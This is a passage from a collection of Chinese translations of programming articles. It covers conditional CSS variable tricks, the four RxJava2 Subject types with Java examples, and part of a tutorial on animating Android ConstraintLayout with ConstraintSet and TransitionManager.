calc(\n            100px * ((1 - var(--foo)) * (2 - var(--foo)) / 2) +\n             20px * (var(--foo) * (2 - var(--foo))) +\n              3px * (var(--foo) * (1 - var(--foo)) / -2)\n        );\n    }\n\n但是当涉及到颜色我们有一个问题：当有一个支持变量，事实上（这是规范里的另一个很奇怪的地方），**所有**包含该变量的声明将被认为是有效的。这意味着在CSS中不可能对包含变量的东西做出回退：\n\n    background: blue;\n    background: I 💩 CSS VAR(--I)ABLES;\n\n是有效的CSS和规范，这背景将得到一个“初始”值，而不是一个后备提供的值（即使其他部分的值明显错误）。\n\n所以，我们在这些情况下需要提供一个回调 - 添加 `@ support` 测试被支持的部分来**排除**变量。\n\n在我们的例子中，我们需要为我们 Firefox 的条件颜色包装，像这样：\n\n    .block {\n        color: #f00;\n    }\n    @supports (color: rgb(0, calc(0), 0)) {\n        .block {\n            color: rgba(calc(255 * (1 - var(--foo))), calc(255 * var(--foo)), 0, 1);\n      }\n    }\n\n这里我们测试一个关于颜色算法的支持，并仅在这种情况下应用条件颜色。\n\n也可以自动创建这样的备份，但是我不建议您为它们使用预处理器，因为创建这样的东西的复杂性远不止预处理器提供的功能。\n\n## [](#use-cases)使用实例\n\n我真的不觉得有必要为如此显而易见的东西提供使用实例。所以我会很简短。同时我将不仅描述变量的条件，而且描述一般条件，例如 `calc（）` 的结果。\n\n*   CSS 变量的条件对于区分块是完美的。这样，你可以有一些编号的主题，然后将它们应用到块（和嵌套的！）只使用一个像 `--block-variant：1` 的 CSS 变量。这是不是就可以通过不同的条件取代变量，当你想要不同的主体，不同的道具，不同的值，如果没有条件，你将需要有很多的变量并应用与他们每一个案例中去。\n\n*   排版。如果有可能使用  `<` ,  `<=` ,  `>`  和  `>=` 为变量的情况下，有可能有不同字体大小的一些“规则”，因此您可以根据给定的字体大小设置不同的行高，字体粗细和其他属性。现在这是可能的，但现在，你需要那些值有一些“停顿”，而不仅仅是靠 `em` 获得值。\n\n*   响应设计。好吧，如果有计算的条件，那么它几乎与那些难以捉摸的“元素查询”相同 —— 你可以检查 `vw` 或父元素的宽度百分比，并决定在不同的情况下应用什么。\n\n如果你找到其他使用案例，请告诉我。我相信还有很多这样的案例，但我没有那么好的记忆力把它们全部记下来。我曾经想用 CSS 把它做出来。因为这是它的一切。 \n\n## [](#future)未来\n\n我真的想看到CSS规范中描述的条件，所以我们不会依赖 calc hacks ，并且可以为非计算值使用适当的条件。现在也不可能有除了严格相等的条件，所以没有“当变量超过 X ”和其他类似的东西。我没有看到任何理由为什么我们不能在 CSS 中有适当的条件，所以如果你知道一个规范开发人员，提示他们这个问题。我唯一的希望是，他们不会告诉我们“只是使用 JS ”或找出原因，为什么是不可能的。在这里，现在已经可以使用 hacks，不能有任何借口。\n\n发表在 10 月 21 日， 于[实验](../)中.\n\n\n\n如果你发现什么编写错误或者小漏洞又或者你想添加点什么，你可以 [写在这](https://github.com/kizu/kizu.github.com/issues/new?title=Feedback%20for%20%E2%80%9CConditions%20for%20CSS%20Variables%E2%80%9D) 或者 [在 Github 编写这篇文章](https://github.com/kizu/kizu.github.com/blob/source/src/documents/posts/2016-10-21-(fun)-conditions-for-css-variables/index.en.md).\n\n\n\n"
  },
  {
    "path": "TODO/confusion-subject-observable-observer-android-rxjava2-hell-part8.md",
    "content": "> * 原文地址：[Confusion between Subject and Observable + Observer [ Android RxJava2 ] ( What the hell is this ) Part8](http://www.uwanttolearn.com/android/confusion-subject-observable-observer-android-rxjava2-hell-part8/)\n> * 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/confusion-subject-observable-observer-android-rxjava2-hell-part8.md](https://github.com/xitu/gold-miner/blob/master/TODO/confusion-subject-observable-observer-android-rxjava2-hell-part8.md)\n> * 译者：[RockZhai](https://github.com/rockzhai)\n> * 校对者：[hanliuxin5](https://github.com/hanliuxin5)\n\n# Subject 和 Observable + Observer 的混淆指北[ Android RxJava2 ] ( 这什么鬼系列 ) 第八话\n\n哇哦, 我们又多了一天时间，所以让我们来学点新东西好让这一天过得很棒吧 🙂。\n\n各位好, 希望你现在已经做的很好了。 这是我们关于 RxJava2 Android  系列文章的第八篇 [ [第一话](https://juejin.im/entry/58ada9738fd9c5006704f5a1)，[第二篇](https://juejin.im/entry/58d78547a22b9d006465ca57)，[第三话](https://juejin.im/entry/591298eea0bb9f0058b35c7f)，[第四话](https://github.com/xitu/gold-miner/blob/master/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md)，[第五话](https://juejin.im/post/590ab4f7128fe10058f35119)，[第六话](https://github.com/xitu/gold-miner/blob/master/TODO/continuation-summer-vs-winter-observable-dialogue-rx-observable-developer-android-rxjava2-hell-part6.md)，[第七话](https://github.com/xitu/gold-miner/blob/master/TODO/continuation-observable-marriage-proposal-observer-dialogue-rx-observable-developer-android-rxjava2-hell-part7.md)，[第八话](https://github.com/xitu/gold-miner/blob/master/TODO/confusion-subject-observable-observer-android-rxjava2-hell-part8.md) ] 。在这一篇文章中将讨论 Rx 中的 Subjects（主题）。\n\n**研究动机 :**\n本文研究动机和系列文章 [第一话](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/) 中分享给大家的相同。\n\n**引言 :** 当我开始与 Rx 的这段旅程时， Subjects 就是我最困惑的一个部分。在大多数我开始去读任意博客的时候，我总是得到这样一个定义: “ Subjects 就像一个 Observable 和 Observer 同时存在一样。” 因为我不是一个聪明的人，所以这一点一直让我很困惑，因此在用 Rx 做了很多练习之后，有一天我得到了关于 Subjects 的概念，我惊讶于这个概念的强大，所以在这篇文章中我将和你一起讨论这个概念以及这个概念有多强大，或许在一些地方我不正确的使用了这个概念，但是这次让你学到这个概念，在本文最后，你将会和 Subjects 成为很好的朋友。🙂\n\n如果你和我一样，认为 Subjects 就像是 Observer 和 Observable 的组合，那么请尽量忘掉这个概念。现在我将要修改一下 Observable 和 Observer 的概念. \n对于 Observable 我会建议你阅读 [ Rx Observable 和 开发者 ( 我 ) 之间的对话 [ Android RxJava2 ] （这什么鬼系列 ）第五话](http://www.uwanttolearn.com/android/dialogue-rx-observable-developer-android-rxjava2-hell-part5/) 并且 Observer 我会建议你阅读 [继续 Rx Observable 和 开发者 ( 我 ) 之间的对话 (Observable 求婚 Observer) [ Android RxJava2 ]（这什么鬼系列）第七话](http://www.uwanttolearn.com/android/continuation-observable-marriage-proposal-observer-dialogue-rx-observable-developer-android-rxjava2-hell-part7/) 。然后你就可以很轻易的理解本篇文章，现在我会在下面和你分享一下 Obsevable 和 Observer API‘s .\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/07/Screen-Shot-2017-07-09-at-8.55.46-AM-1024x329.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/07/Screen-Shot-2017-07-09-at-8.55.46-AM.png)\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/07/Screen-Shot-2017-07-09-at-8.56.00-AM-1024x281.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/07/Screen-Shot-2017-07-09-at-8.56.00-AM.png)\n\n这是 Observable 的代码，如图所示代码总行数为 3000 多行.  正如我们所知，Observable 通常使用其不同的方法将数据转换为流，下面我给出一个简单的例子。\n\n```\npublic static void main(String[] args) {\n    List<String> list = Arrays.asList(\"Hafiz\", \"Waleed\", \"Hussain\");\n    Observable<String> stringObservable = Observable.fromIterable(list);\n}\n```\n\n接下来我们需要 Observer 从 Observable 中得到数据。现在我将第一次向你展示 Obsever 的一些 API。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/07/Screen-Shot-2017-07-09-at-9.04.40-AM-1024x421.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/07/Screen-Shot-2017-07-09-at-9.04.40-AM.png)\n\n就像我们看到的 Observer 非常简单，只有 4 个方法，那现在是时候在示例中使用一下这个 Observer 了。\n\n```\n/**\n * Created by waleed on 09/07/2017.\n */\npublic class Subjects {\n\n    public static void main(String[] args) {\n        List<String> list = Arrays.asList(\"Hafiz\", \"Waleed\", \"Hussain\");\n        Observable<String> stringObservable = Observable.fromIterable(list);\n\n        Observer<String> stringObserver = new Observer<String>() {\n            @Override\n            public void onSubscribe(Disposable disposable) {\n                System.out.println(\"onSubscribe\");\n            }\n\n            @Override\n            public void onNext(String s) {\n                System.out.println(s);\n            }\n\n            @Override\n            public void onError(Throwable throwable) {\n                System.out.println(throwable.getMessage());\n            }\n\n            @Override\n            public void onComplete() {\n                System.out.println(\"onComplete\");\n            }\n        };\n\n        stringObservable.subscribe(stringObserver);\n    }\n}\n```\n\n它的输出很简单. 现在我们成功修订了 Observable 和 Observer API’s ,  当做订阅时，Observable 基本是调用我们的 Observer API’s。\n任何时候 Observable 想要提供数据，总是要调用 Observaer 的 onNext ( data ) 方法。\n任何时候发生错误 Observable 会调用 Observer 的 onError(e) 方法。  \n任何时候流操作完成 Observable 会调用 Observer 的 onComplete() 方法.\n这是这两个 API 之间的一个简单关系.\n\n现在我将要开始我们今天的主题，如果再次对 Observable 和 Observer 有任何疑惑，请尝试阅读我上文中提到的文章，或者在评论中提问。\n我认为 Rx 中关于 Subjects 的定义放到最后讨论，现在我将向你解释一个更简单的例子，它将使我们可以更直接的掌握 Rx 中 Subjects 的概念。\n\n```\nObservable<String> stringObservable = Observable.create(observableEmitter -> {\n    observableEmitter.onNext(\"Event\");\n});\n```\n\n这是可以发射一个字符串的 Observable。\n\n```\nConsumer<String> consumer = new Consumer<String>() {\n    @Override\n    public void accept(String s) {\n        System.out.println(s);\n    }\n};\n```\n\n这是一个将会订阅 Observable 的消费者。\n\n```\nwhile (true) {\n    Thread.sleep(1000);\n    stringObservable.subscribe(consumer);\n}\n```\n\n这段代码会在每一秒后产生一个事件。\n为了方便阅读我把完整的代码代码贴出。\n\n```\npublic class Subjects {\n\n    public static void main(String[] args) throws InterruptedException {\n\n        Observable<String> stringObservable = Observable.create(observableEmitter -> {\n            observableEmitter.onNext(\"Event\");\n        });\n\n        Consumer<String> consumer = new Consumer<String>() {\n            @Override\n            public void accept(String s) {\n                System.out.println(s);\n            }\n        };\n\n        while (true) {\n            Thread.sleep(1000);\n            stringObservable.subscribe(consumer);\n        }\n    }\n}\n```\n\nOutput:\nEvent\nEvent\nEvent\nEvent\n\n这是一个简单的例子，我认为没有必要过多的解释，现在有趣的部分是，我会用不同的技术来写出会有一样输出的新的例子。 \n在深入之前，尝试阅读下面的代码。\n\n```\nclass ObservableObserver extends Observable<String> implements Observer<String>.\n```\n\n这很简单，我创建了一个名为 ObservableObserver 的新类， 它继承自 Observable 并且实现了 Observer 接口。 所以这意味这它可以作为 Observable 加强版 和 Observer. 我不认为这会有任何疑问，所以我们已经知道 Observable 总是会生成流，所以这个类也有这个能力，因为它继承自 Observable。然后我们可知 Observer 可以通过 订阅 Observable 来观察 Observable 中的任何流，那么我们的新类也可以完成这些工作，因为它实现了 Observer 接口，BOOM。\n很简单。\n现在我要给你看全部代码，代码只是为了解释这个概念并不意味着它是一个 成熟 的代码。\n\n```\nclass ObservableObserver extends Observable<String> implements Observer<String> {\n\n    private Observer<? super String> observer;\n\n    @Override\n    protected void subscribeActual(Observer<? super String> observer) { // Observable abstract method\n        this.observer = observer;\n    }\n\n    @Override\n    public void onSubscribe(Disposable disposable) { //Observer API\n        if (observer != null) {\n            observer.onSubscribe(disposable);\n        }\n    }\n\n    @Override\n    public void onNext(String s) {//Observer API\n        if (observer != null) {\n            observer.onNext(s);\n        }\n    }\n\n    @Override\n    public void onError(Throwable throwable) {//Observer API\n        if (observer != null) {\n            observer.onError(throwable);\n        }\n    }\n\n    @Override\n    public void onComplete() {//Observer API\n        if (observer != null) {\n            observer.onComplete();\n        }\n    }\n\n    public Observable<String> getObservable() {\n        return this;\n    }\n}\n```\n\n又一个很简单的类，我们已经使用过上面的所有方法了，只是在这里有一个区别，就是我们在同一个类中使用了 Observable 和 Observer 的相关方法。\n\n```\npublic static void main(String[] args) throws InterruptedException {\n\n    ObservableObserver observableObserver = new ObservableObserver();\n    observableObserver.getObservable().subscribe(System.out::println);\n\n    while (true) {\n        Thread.sleep(1000);\n        observableObserver.onNext(\"Event\");\n    }\n}\n```\n\nOutput:\nEvent\nEvent\nEvent\n\n在上面的代码中有两行很重要，我将要给大家解释一下：\n**observableObserver.getObservable():\n**这里，我从 ObservableObserver 类获取 Observable 并订阅 Observer .\n**observableObserver.onNext(“Event”):\n**这里，当事件发生时调用 Observer API 方法.\n因为作为一个自我闭环的类，所以我能够从这个既是 Observabel 又是 Observer 的类中获得好处。现在有一个惊喜，你已经掌握了 Subjects 的概念，如果你不信的话来看下面图中的代码：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/07/Screen-Shot-2017-07-09-at-10.32.40-AM-1024x453.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/07/Screen-Shot-2017-07-09-at-10.32.40-AM.png)\n\n这是 RxJava2 Subject 类的代码，现在你可以明白为什么人们会说 Subjiects 既是 Observable 又是 Observer，因为它使用了两个的 API 方法。\n现在的 RxJava 中可以使用不同类型的 Subjects,  这是我们下面要讨论的内容。\n\n在 RxJava 中你可以获取到 4 种类型的 Subjiects。\n**1. Publish Subject**\n**2. Behaviour Subject**\n**3. Replay Subject**\n**4. Async Subject**\n\n```\n    public static void main(String[] args) throws InterruptedException {\n\n        Subject<String> subject = PublishSubject.create();\n//        Subject<String> subject = BehaviorSubject.create();\n//        Subject<String> subject = ReplaySubject.create();\n//        Subject<String> subject = AsyncSubject.create(); I will explain in the end\n\n        subject.subscribe(System.out::println);\n\n        int eventCounter = 0;\n        while (true) {\n            Thread.sleep(100);\n            subject.onNext(\"Event \"+ (++eventCounter));\n        }\n\n    }\n```\n\nOutput:\nEvent 1\nEvent 2\nEvent 3\nEvent 4\nEvent 5\nEvent 6\nEvent 7\nEvent 8\nEvent 9\nEvent 10\n\n一般来说如果你运行上面的代码，你将会看到输出中除了 AsyncSubject 的其他 Subjects 输出都是相同的，现在是时候来区别一下这些 Subjects 的类型了。\n**1. Publish Subject:\n**在该类型 Subject 中，我们可以获取实时的数据，例如我的一个 Publish Subject 是获取传感器数据，那么现在我订阅了该 Subject, 我将之获取最新的值，示例如下：\n\n```\npublic static void main(String[] args) throws InterruptedException {\n\n    Subject<String> subject = PublishSubject.create();\n    int eventCounter = 0;\n    while (true) {\n        Thread.sleep(100);\n        subject.onNext(\"Event \" + (++eventCounter));\n\n        if (eventCounter == 10)\n            subject.subscribe(System.out::println);\n    }\n}\n```\n\nOutput:\nEvent 11\nEvent 12\nEvent 13\nEvent 14\nEvent 15\nEvent 16\n\n所以，在这里 publish subject 发布数据是从 0 开始，而在订阅的时候已经发布到了 10，正如你所见，输出的数据为 Event 11。\n\n**2. Behaviour Subject:\n**在这种类型的 Subjects 中，我们将获取这个 Subject 最后发布出的值和新的将要发出的值，为了简单起见，请阅读下面的代码。\n\n```\npublic static void main(String[] args) throws InterruptedException {\n\n    Subject<String> subject = BehaviorSubject.create();\n    int eventCounter = 0;\n    while (true) {\n        Thread.sleep(100);\n        subject.onNext(\"Event \" + (++eventCounter));\n\n        if (eventCounter == 10)\n            subject.subscribe(System.out::println);\n    }\n}\n```\n\nOutput:\nEvent 10\nEvent 11\nEvent 12\nEvent 13\nEvent 14\nEvent 15\n\n正如输出中你所看到的那样，我也获得了 “ Event 10” 这个值，并且这个值在我订阅之前就已经发布了。这意味着如果我想要订阅之前的最后一个值的话，我可以使用这个类型的 Subject。\n\n**3. Replay Subject:\n**在这个类型的 Subject 中，当我订阅时可以没有顾及的获得所有发布的数据值，简单起见还是直接上代码吧。\n\n```\npublic static void main(String[] args) throws InterruptedException {\n\n    Subject<String> subject = ReplaySubject.create();\n    int eventCounter = 0;\n    while (true) {\n        Thread.sleep(100);\n        subject.onNext(\"Event \" + (++eventCounter));\n\n        if (eventCounter == 10)\n            subject.subscribe(System.out::println);\n    }\n}\n```\n\nOutput:\nEvent 1\nEvent 2\nEvent 3\nEvent 4\nEvent 5\nEvent 6\nEvent 7\nEvent 8\nEvent 9\nEvent 10\nEvent 11\nEvent 12\n\n现在我再次在 event 10 的时候订阅，但是我可以获得所有的历史数据，所以这很简单嘛。\n\n**4. Async Subject:\n**在这个类型的 Subject 中，我们将获得最后发布的数据值，这个数据值是 Subject 在完成和终止前发射的，为了简单起见，依旧是直接上代码吧。 \n\n```\npublic static void main(String[] args) throws InterruptedException {\n\n    Subject<String> subject = AsyncSubject.create();\n    subject.subscribe(System.out::println);\n    int eventCounter = 0;\n    while (true) {\n        Thread.sleep(100);\n        subject.onNext(\"Event \" + (++eventCounter));\n\n        if (eventCounter == 10) {\n            subject.onComplete();\n            break;\n        }\n    }\n}\n```\n\nOutput:\nEvent 10\nProcess finished with exit code 0\n\n在这里，你可以看到在值为 10 的时候以完成标识结束了 Subject 并且在程序完成后和程序退出之前，我得到了输出的 Event 10 ，所以这意味着它的意思是任何时候我想要通过 Subject 获得最后一次发布的数据值可以使用 Async Subject。\n\n再次重复一下：\nPublish Subject: 我不关心之前的发布历史，我只关心新的或者最新的值。\nBehaviour Subject: 我关心该 Subject 发布的最后一个值和新值。 \nReplay Subject: 我关心所有发布了新值的历史数据。\nAsync Subject: 我只关心在完成或终止之前由主题发出的最后一个值。\n\n总结：\n你好呀朋友，希望你对这个知识点已经很清晰了，另外尽你最大的努力去动手实践这些概念，现在，我想要和各位说再见了，还有祝大家有个愉快的周末。\n🙂\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/constraint-layout-animations-dynamic-constraints-ui-java-hell.md",
    "content": "> * 原文地址：[Constraint Layout [Animations | Dynamic Constraints | UI by Java] ( What the hell is this )[Part3]](http://www.uwanttolearn.com/android/constraint-layout-animations-dynamic-constraints-ui-java-hell/)\n* 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Siegen](https://github.com/siegeout)\n* 校对者：[tanglie1993](https://github.com/tanglie1993),[yazhi1992](https://github.com/yazhi1992)\n\n# Constraint Layout 动画 |动态 Constraint |用 Java 实现的 UI（这到底是什么）[第三部分]\n\n\n喔，又是新的一天，是时候学些新东西来让今天变得精彩起来了。\n\n\n各位读者朋友你们好，希望各位一切顺利。我们之前已经在[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/constraint-layout-hell.md)和 [第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/constraint-layout-concepts-hell-tips-tricks-part-2.md)\n中学习了许多关于 Constraint Layout 的新东西。现在是时候学习这个令人惊讶的布局剩下的部分了。这一篇很有可能是关于 Constraint Layout系列的最后一篇文章了。\n\n\n**动机：**\n\n写这篇文章的动机和在[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/constraint-layout-hell.md)讨论的是一样的。现在在这篇文章里我主要谈论的是关于 Constraint Layout 的动画。关于这个主题有一个坏消息，那就是 Android 的开发文档并没有提供足够的帮助。在开始这篇文章之前我想先道个歉，由于知识的欠缺我可能会在某些地方出现错误的观点。但是我可以 100% 的保证通过我的讲述，最终你会喜欢并且适应这些动画。\n\n我对这个主题的命名有些犹豫，所以我决定使用三个名字组成的题目，《Constraint Layout 动画 |动态 Constraint |用 Java 实现的 UI》。在这篇文章的最后，你会了解到为什么我选择这三个名字。\n\n\n\n现在我不打算讲解 Constraint Layout 动画 API 带来的新特点，而是准备和你们分享我在实现动画效果时遇到的一些问题。那么让我们开始吧。\n\n\n\n我们需要下载 2.3 版本的 Android studio。在之前的版本里 Visual Editor 不太好，在 Design Tab 里经常会出现一些错误信息。所以下载  2.3 测试版的 Android studio 非常重要，这个版本在我写这篇文章的时候是可以下载到的。\n \n\n**介绍:**\n\n\n\n\n在这篇文章里我们主要使用 Java 语言来工作，但是在开始之前我打算解释下在这篇文章里一切是如何运作的。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-21-at-10.50.22-AM-578x1024.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-21-at-10.50.22-AM.png)\n\n\n\n我将基于上面的 APP 来进行这篇文章的论述。我有一个 constraint layout ，这里面总共有五个按钮。\n\n\n\n应用和重置按钮除了应用和重置我们的动画之外不做其他事情。另外三个按钮被用来进行我们的动画。我们通过应用不同的动画来使这三个按钮共同协作。最重要的一点，我们在开始之前应该知道这三个按钮的 constraint。\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <android.support.constraint.ConstraintLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n            android:id=\"@+id/main\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\">\n\n\n            <Button\n                android:id=\"@+id/applyButton\"\n                android:text=\"Apply\"\n                ...\n                />\n\n            <Button\n                android:id=\"@+id/resetButton\"\n                android:text=\"Reset\"\n                ...\n                />\n\n            <Button\n                android:id=\"@+id/button1\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:background=\"@color/colorAccent\"\n                android:text=\"Button 1\"\n                android:layout_marginLeft=\"52dp\"\n                app:layout_constraintLeft_toLeftOf=\"parent\"\n                android:layout_marginStart=\"52dp\"\n                app:layout_constraintTop_toTopOf=\"parent\"\n                android:layout_marginTop=\"69dp\" />\n\n            <Button\n                android:id=\"@+id/button2\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:background=\"@color/colorPrimaryDark\"\n                android:text=\"Button 2\"\n                app:layout_constraintLeft_toRightOf=\"@+id/button1\"\n                android:layout_marginLeft=\"8dp\"\n                android:layout_marginStart=\"8dp\"\n                android:layout_marginRight=\"8dp\"\n                app:layout_constraintRight_toRightOf=\"parent\"\n                app:layout_constraintHorizontal_bias=\"0.571\"\n                app:layout_constraintTop_toTopOf=\"parent\"\n                android:layout_marginTop=\"136dp\" />\n\n            <Button\n                android:id=\"@+id/button3\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:background=\"@android:color/holo_red_dark\"\n                android:text=\"Button 3\"\n                android:layout_marginTop=\"102dp\"\n                app:layout_constraintTop_toBottomOf=\"@+id/button1\"\n                android:layout_marginLeft=\"88dp\"\n                app:layout_constraintLeft_toLeftOf=\"parent\"\n                android:layout_marginStart=\"88dp\" />\n\n        </android.support.constraint.ConstraintLayout>\n\n\n在你检查这段代码之后你可以轻松地了解这三个按钮之间的关系，下面这张图会给你一个更直观的认识。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-21-at-10.57.06-AM-763x1024.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-21-at-10.57.06-AM.png)\n\n\n\n哈哈，我知道把这张图与 XML 文件对照来看很容易理解。现在你了解了这三个按钮互相之间的关系以及与父控件的关系。\n在深入的发掘之前我想再介绍一个新的 API。\n\n    public class MainActivity extends AppCompatActivity {\n\n        private ConstraintLayout constraintLayout;\n        private ConstraintSet applyConstraintSet = new ConstraintSet();\n        private ConstraintSet resetConstraintSet = new ConstraintSet();\n\n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n            super.onCreate(savedInstanceState);\n            setContentView(R.layout.activity_main);\n            constraintLayout = (ConstraintLayout) findViewById(R.id.main);\n            resetConstraintSet.clone(constraintLayout);\n            applyConstraintSet.clone(constraintLayout);\n        }\n\n        public void onApplyClick(View view) {\n\n        }\n\n        public void onResetClick(View view) {\n\n        }\n\n\n\n留意粗体字，这些代码很简单。 ConstraintSet 就是我们要在这个教程中经常用到的一个 API。简单来说，你可以这样理解，这个 API 将记住我们在 XML 文件里实现的所有的 constraints。怎样使用呢？就像你看到的，在上面的代码里我拥有了一个 **constarintLayout** 引用，在那之后，我将把它的 constraints 复制到我们的两个变量 **resetConstraintSet** 和 **applyConstraintSet** 中。非常的简单。 \n\n\n\n现在为了适应新的要求，我将改变我的写作风格。\n\n\n我将为同样的要求使用不同的语句，这样你可以轻易的理解我这篇文章的标题。\n\n\n\n**新需求:**\n\n我想要让按钮 1 动起来，当用户点击启动按钮的时候，让它与父控件的左边对齐。你能帮我一下么？\n用开发语言来说：\n\n兄弟，我想要在 constraint layout 里使用 Java 代码让按钮 1 在用户点击启动按钮的时候与父控件的左边对齐。你可以帮我一下么。\n\n\n\n**解决方案:**\n\n    public void onApplyClick(View view) {\n        applyConstraintSet.setMargin(R.id.button1,ConstraintSet.START,8);\n        applyConstraintSet.applyTo(constraintLayout);\n    }\n\n    public void onResetClick(View view) {\n        resetConstraintSet.applyTo(constraintLayout);\n    }\n \n从现在开始我只向你展示 onApplyClick() 方法，其他的代码始终是不变的。如果你看见了 onResetClick()方法，噢，请你忘掉它。我会一直使用最初时的 constraints 来返回到最开始的 UI 界面\n\n\n\n\n现在有两个新的 API 方法。setMargin() 和 applyTo()，我感觉没有必要去解释 applyTo() 方法。\n \n\nSetMargin() 方法将使用三个参数(viewId, anchor, margin)。\n\n\n\n按钮 1 有 52dp 的左边距，但是当用户点击之后我会把间距改变到 8px。是时候看下这个过程了。 \n\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-11-29-32.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-11-29-32.gif)\n\n\n\n除了猛地一跳，没有按钮移动的轨迹，这看起来并不像动画。所以我们需要重新检查下我们的代码。在检查之后我发现需要在 applyButton() 方法里再加点东西。在增加了之后，得到动画效果如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-11-34-58.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-11-34-58.gif)\n\n\n\n好了。是时候审视下新代码的变化了。\n\n    public void onApplyClick(View view) {\n        TransitionManager.beginDelayedTransition(constraintLayout);\n        applyConstraintSet.setMargin(R.id.button1,ConstraintSet.START,8);\n        applyConstraintSet.applyTo(constraintLayout);\n    }\n\n\n\n    \n这里我需要添加 TransitionManager API。从一个 support library 里面能够获取到 TransistionManager API。你可以添加 gradle 依赖。\n\n    compile 'com.android.support:transition:25.1.0'\n \n \n\n在进行下一步的操作之前。我想要复习下现在的操作。\n\n简单来说我们只使用了两个 API。ConstraintSet 和 TransitionManager。从现在起我们将只使用 ConstraintSet API。\n\n\n**新需求:**\n\n\n\n用户语言：\n\n当用户点击应用按钮的时候，我想要让所有的按钮动起来并在父容器里水平居中。\n\n\n\n开发者语言：\n\n兄弟我想要当用户点击应用按钮的时候通过使用 Java 代码让所有的按钮在 constraint layout 里移动到水平居中的位置。你能帮我一下么？\n\n**解决方案:**\n\n    public void onApplyClick(View view) {\n        TransitionManager.beginDelayedTransition(constraintLayout);\n        applyConstraintSet.centerHorizontally(R.id.button1, R.id.main);\n        applyConstraintSet.centerHorizontally(R.id.button2, R.id.main);\n        applyConstraintSet.centerHorizontally(R.id.button3, R.id.main);\n        applyConstraintSet.applyTo(constraintLayout);\n    }\n\n\n\n这里我使用 centerHorizontally() 方法。这个方法需要两个参数:\n\n第一个：我想要进行水平居中操作的 View。\n第二个：父容器 View。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-11-45-02.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-11-45-02.gif)\n\n\n\n\n它并没有像我们预期的那样工作。在分析之后我发现了问题。我们给这些按钮设置了不同的外边距，这导致了我们点击应用按钮时他们将移动到中心，但是由于外边距的设定，它们最终的位置出现了偏移。是时候解决这个问题了。\n\n    public void onApplyClick(View view) {\n        TransitionManager.beginDelayedTransition(constraintLayout);\n\n        applyConstraintSet.setMargin(R.id.button1,ConstraintSet.START,0);\n        applyConstraintSet.setMargin(R.id.button1,ConstraintSet.END,0);\n        applyConstraintSet.setMargin(R.id.button2,ConstraintSet.START,0);\n        applyConstraintSet.setMargin(R.id.button2,ConstraintSet.END,0);\n        applyConstraintSet.setMargin(R.id.button3,ConstraintSet.START,0);\n        applyConstraintSet.setMargin(R.id.button3,ConstraintSet.END,0);\n\n\n        applyConstraintSet.centerHorizontally(R.id.button1, R.id.main);\n        applyConstraintSet.centerHorizontally(R.id.button2, R.id.main);\n        applyConstraintSet.centerHorizontally(R.id.button3, R.id.main);\n        applyConstraintSet.applyTo(constraintLayout);\n    }\n\n\n这里我把所有按钮的左右外边距都设置为 0。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-11-51-11.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-11-51-11.gif)\n\n**新需求:**\n\n\n\n用户的语言：\n当用户点击应用按钮的时候，我想让按钮 3 动起来，然后移动到正中心。\n\n\n开发者的语言：\n\n当用户点击应用按钮的时候，我想要通过在 constraint layout 里使用 Java 代码让按钮 3 移动到父控件的中心。你能帮我一下么？\n\n**解决方案:**\n\n    